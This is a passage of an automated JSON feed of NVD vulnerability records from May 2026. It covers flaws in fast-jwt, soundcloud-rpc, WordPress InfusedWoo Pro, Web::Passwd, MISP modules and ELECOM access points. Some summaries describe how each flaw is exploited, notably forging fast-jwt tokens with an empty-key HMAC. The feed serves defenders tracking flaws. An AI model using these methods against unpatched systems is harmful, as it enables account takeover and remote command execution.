2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44523","cveId":"CVE-2026-44523","aliases":[],"kind":"vulnerability","title":"Note Mark is an open-source note-taking application.","summary":"Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.","detail":"Note Mark is an open-source note-taking application. Prior to 0.19.4, no minimum length or entropy is enforced on the JWT_SECRET configuration value. The application accepts any base64-decodable secret regardless of size, including secrets as short as 1 byte. This vulnerability is fixed in 0.19.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:37.470Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44523","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44523","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44523","type":"primary","publishedAt":"2026-05-14T19:16:37.470Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44482","cveId":"CVE-2026-44482","aliases":[],"kind":"vulnerability","title":"soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support.","summary":"soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support. Prior to 0.1.8, a track title containing an HTML payload executed locally in the Electron app. This means attacker-controlled SoundCloud track metadata can lead to local command execution on the user's machine. The application exposes a preload API (window.soundcloudAPI.sendTrackUpdate) to the remote SoundCloud page. Track metadata from SoundCloud is trusted and forwarded through IPC into the Electron main process. The app later renders that metadata as raw HTML inside privileged Electron views that have Node.js integration enabled. This vulnerability is fixed in 0.1.8.","detail":"soundcloud-rpc is a SoundCloud Client with Discord Rich Presence, Dark Mode, Last.fm and AdBlock support. Prior to 0.1.8, a track title containing an HTML payload executed locally in the Electron app. This means attacker-controlled SoundCloud track metadata can lead to local command execution on the user's machine. The application exposes a preload API (window.soundcloudAPI.sendTrackUpdate) to the remote SoundCloud page. Track metadata from SoundCloud is trusted and forwarded through IPC into the Electron main process. The app later renders that metadata as raw HTML inside privileged Electron views that have Node.js integration enabled. This vulnerability is fixed in 0.1.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T15:16:48.793Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44482","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44482","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44482","type":"primary","publishedAt":"2026-05-14T15:16:48.793Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-2347","cveId":"CVE-2026-2347","aliases":[],"kind":"vulnerability","title":"Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd.","summary":"Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd. Co. E-Commerce Website allows Session Hijacking.\n\nThis issue affects E-Commerce Website: before 4.5.001.","detail":"Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd. Co. E-Commerce Website allows Session Hijacking.\n\nThis issue affects E-Commerce Website: before 4.5.001.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T10:16:19.203Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-2347","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-2347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2347","type":"primary","publishedAt":"2026-05-14T10:16:19.203Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6512","cveId":"CVE-2026-6512","aliases":[],"kind":"vulnerability","title":"The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2.","summary":"The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, products, or orders, mass-delete all comments on any post, and change any post's status.","detail":"The InfusedWoo Pro plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.1.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, products, or orders, mass-delete all comments on any post, and change any post's status.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T09:16:27.883Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6512","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6512","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6512","type":"primary","publishedAt":"2026-05-14T09:16:27.883Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6510","cveId":"CVE-2026-6510","aliases":[],"kind":"vulnerability","title":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2.","summary":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. This is due to missing nonce verification and capability checks in the iwar_save_recipe() AJAX handler. This makes it possible for unauthenticated attackers to create a malicious automation recipe that pairs an HTTP post trigger with an auto-login action, allowing any unauthenticated visitor to visit a crafted URL and receive authentication cookies for any targeted user account (e.g., administrator), achieving complete authentication bypass and privilege escalation.","detail":"The InfusedWoo Pro plugin for WordPress is vulnerable to privilege escalation via missing authorization in all versions up to, and including, 5.1.2. This is due to missing nonce verification and capability checks in the iwar_save_recipe() AJAX handler. This makes it possible for unauthenticated attackers to create a malicious automation recipe that pairs an HTTP post trigger with an auto-login action, allowing any unauthenticated visitor to visit a crafted URL and receive authentication cookies for any targeted user account (e.g., administrator), achieving complete authentication bypass and privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T07:16:21.127Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6510","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6510","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6510","type":"primary","publishedAt":"2026-05-14T07:16:21.127Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8500","cveId":"CVE-2026-8500","aliases":[],"kind":"vulnerability","title":"Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.","summary":"Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.\n\nWeb::Passwd is a small CGI application for managing htpasswd files using the htpasswd command.\n\nThe user parameter is not validated or escaped, and is used as the last argument on the command line, allowing for command injection.","detail":"Web::Passwd versions through 0.03 for Perl is vulnerable to RCE.\n\nWeb::Passwd is a small CGI application for managing htpasswd files using the htpasswd command.\n\nThe user parameter is not validated or escaped, and is used as the last argument on the command line, allowing for command injection.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T23:16:43.237Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8500","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8500","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8500","type":"primary","publishedAt":"2026-05-13T23:16:43.237Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44364","cveId":"CVE-2026-44364","aliases":[],"kind":"vulnerability","title":"MISP modules are autonomous modules that can be used to extend MISP for new services.","summary":"MISP modules are autonomous modules that can be used to extend MISP for new services. In 3.0.7 and earlier, a Cross-Site Request Forgery vulnerability in the MISP Modules website allowed an attacker to cause an authenticated user to submit unintended requests to the home endpoint. The vulnerability was due to the home blueprint being exempted from CSRF protection. This could allow modification of session query data in the context of the authenticated user. The issue was fixed by enabling CSRF protection for the affected blueprint and hardening query parsing.","detail":"MISP modules are autonomous modules that can be used to extend MISP for new services. In 3.0.7 and earlier, a Cross-Site Request Forgery vulnerability in the MISP Modules website allowed an attacker to cause an authenticated user to submit unintended requests to the home endpoint. The vulnerability was due to the home blueprint being exempted from CSRF protection. This could allow modification of session query data in the context of the authenticated user. The issue was fixed by enabling CSRF protection for the affected blueprint and hardening query parsing.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:23.157Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44364","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44364","type":"primary","publishedAt":"2026-05-13T20:16:23.157Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44351","cveId":"CVE-2026-44351","aliases":[],"kind":"vulnerability","title":"fast-jwt provides fast JSON Web Token (JWT) implementation.","summary":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4.","detail":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:22.860Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44351","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44351","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44351","type":"primary","publishedAt":"2026-05-13T20:16:22.860Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42062","cveId":"CVE-2026-42062","aliases":[],"kind":"vulnerability","title":"ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter.","summary":"ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required.","detail":"ELECOM wireless LAN access point devices contain an OS command injection in processing of username parameter. If processing a crafted request, an arbitrary OS command may be executed. No authentication is required.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T13:16:43.570Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42062","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42062","type":"primary","publishedAt":"2026-05-13T13:16:43.570Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40621","cveId":"CVE-2026-40621","aliases":[],"kind":"vulnerability","title":"ELECOM wireless LAN access point devices do not require authentication to access some specific URLs.","summary":"ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. The affected product may be operated without authentication.","detail":"ELECOM wireless LAN access point devices do not require authentication to access some specific URLs. The affected product may be operated without authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 